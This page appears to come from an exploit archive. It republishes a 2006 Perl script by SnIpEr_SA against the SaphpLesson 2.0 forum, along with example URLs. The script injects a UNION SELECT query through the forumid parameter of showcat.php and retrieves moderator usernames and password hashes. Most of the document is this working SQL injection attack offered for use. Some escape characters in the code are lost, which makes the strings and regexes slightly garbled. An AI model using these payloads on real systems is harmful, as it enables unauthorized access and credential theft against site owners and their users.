[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : SaphpLesson 2.0 (forumid) Remote SQL Injection Exploit
# Published : 2006-02-25
# Author : SnIpEr_SA
# Previous Title : Pentacle In-Out Board <= 6.03 (login.asp) Remote Auth Bypass
# Next Title : GreyMatter WebLog <= 1.21d Remote Command Execution Exploit (1)


#!/usr/bin/perl
#
# For password
# http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModPassword%20from%20modretor
# For username
# http://www.example.com/path/showcat.php?forumid=-1%20union%20select%20ModName%20from%20modretor
# sent in by SnIpEr_SA (selfar2002[at]hotmail.com)
# ported by str0ke (milw0rm.com)

use LWP::Simple;

$serv     =  $ARGV[0];
$path     =  $ARGV[1];

sub usage
 {
    print "nSaphpLesson 2.0 SQL-Injection n";
    print "By SnIpEr_SA Ported by str0ken";
    print "Usage: $0 www.example.com /directory/n";
    print "sever    -  URLn";
    print "path     -  path to showcat.phpn";
    exit ();
}

sub exploit
 {
    print qq(
    SaphpLesson 2.0 SQL-Injection
    By SnIpEr_SA Ported by str0kenn);

    $URL = sprintf("http://%s%sshowcat.php?forumid=-1+union+select+ModName+from+modretor",$serv,$path);
    $content = get "$URL";
    if ($content =~ /([)(.*)(]</title>)/){&user;}else{print "No Workien";}
    $URL = sprintf("http://%s%sshowcat.php?forumid=-1+union+select+ModPassword+from+modretor",$serv,$path);
    $content = get "$URL";
    if ($content =~ /([)(w{32})(]</title>)/){&showh;}else{print "No Workien";}
}

sub user { print "[*] Username: $2n";}
sub showh { print "[*] Hash: $2nn";}

if (@ARGV != 2){&usage;}else{&exploit;}

# www.Syue.com [2006-02-25]